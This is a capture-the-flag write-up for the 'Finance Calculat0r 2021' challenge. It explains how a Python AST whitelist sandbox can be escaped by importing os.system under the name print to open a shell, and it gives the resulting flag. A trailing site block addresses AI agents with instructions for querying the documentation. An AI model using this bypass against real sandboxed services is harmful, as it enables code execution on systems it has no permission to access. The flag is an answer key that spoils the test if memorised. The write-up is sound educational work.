# Finance Calculat0r 2021

## Description

> We launched a scriptable cloud calculat0r for all your financing needs!
>
> `nc challs.rumble.host 42323`
>
> Of course its Open Source

{% file src="<https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-2e22dc274bd7107924f19bdc41732476ef84421c%2Ffinance_calculat0r_2021.tar.gz?alt=media>" %}

## Solution

The program allows you to write a Python program to be executed. It checks the AST of the program and only the `print` function is allowed to be called.

```python
WHITELIST_NODES = [
    ast.Expression,
    ast.Expr,
    ast.Num,
    ast.Name,
    ast.Constant,
    ast.Load,
    ast.BinOp,
    ast.Add,
    ast.Sub,
    ast.Module,
    ast.Mult,
    ast.Div,
    ast.Assign,
    ast.Store
]

WHITELIST_FUNCTIONS = [
    "print"
]

...

def check_code_security(code):
    # Decode for parser
    s = code.decode(errors="ignore")
    tree = ast.parse(s, mode='exec')
    for node in ast.walk(tree):
        if type(node) not in WHITELIST_NODES:
            if type(node) == ast.Call and node.func.id not in WHITELIST_FUNCTIONS:
                raise ValueError("Forbidden code used in type '{}'. NOT allowed!".format(type(node)))
```

But note that module imports are allowed. We can simply import a function as `print` to bypass this filter.

```python
from os import system as print
print('/bin/sh')
```

After getting a shell, we can find the flag in `/opt/flag.txt`.

`CSR{OhManSandiNeinNeinDasMachtManNicht}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2021/cybersecurityrumble-ctf/finance-calculat0r-2021.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.